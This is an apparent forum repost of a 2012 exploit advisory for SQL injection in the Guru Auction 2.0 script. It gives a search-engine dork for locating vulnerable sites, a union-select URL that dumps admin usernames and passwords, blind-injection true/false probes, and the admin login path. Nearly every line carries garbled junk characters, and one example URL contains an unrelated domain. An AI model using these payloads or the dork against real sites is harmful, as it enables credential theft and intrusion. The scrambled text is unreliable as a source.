Guru Auction 2.0 Multiple SQL Injection Vulnerabilities
# @) v, l5 s; I( m( ^' d+ v4 V3 o' @/ `: q' H, ^: T
作者 : v3n0m/ p. ]! K, _0 w& L `
应用 : Guru Auction 2.0% M' ~" |$ j. {% c" K
Price : $49) o h7 e$ q: [
Vendor : http://www.guruscript.com/) @! M$ V( L; Q# V/ U5 k' v3 }
Google Dork : inurl:subcat.php?cate_id=
# ^0 D" p: Q. q* [" e " i e1 g) l L
SQLi p0c:6 k1 r7 X. T# [0 B4 t
~~~~~~~~~~& i4 {5 @' ^6 }1 V# b: g6 T
http://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--1 E6 W |4 u) `9 `
- |) h# ?: q( W6 U
' r( _, K) h8 q) i2 S# q# z
盲注 p0c:& ^6 h4 i6 I" ~
~~~~~~~~~~# `3 M8 }$ D" r& P" Y2 U, A
http://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true
# h8 M0 s2 x; [- `http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false# l& W) D* ~2 F) |0 s( Z
4 ~* y! @) T9 ^% i/ m' ~- d$ E$ `# |
管理登录入口:
' ~& f# L$ [% M3 X~~~~~~~~~~7 I5 W% e: t' v
http://domain.tld/[path]/admin/1 l; |& c8 l5 Z& [ P$ ]
|
发表于 2012-12-31 09:24:05
收藏
支持
反对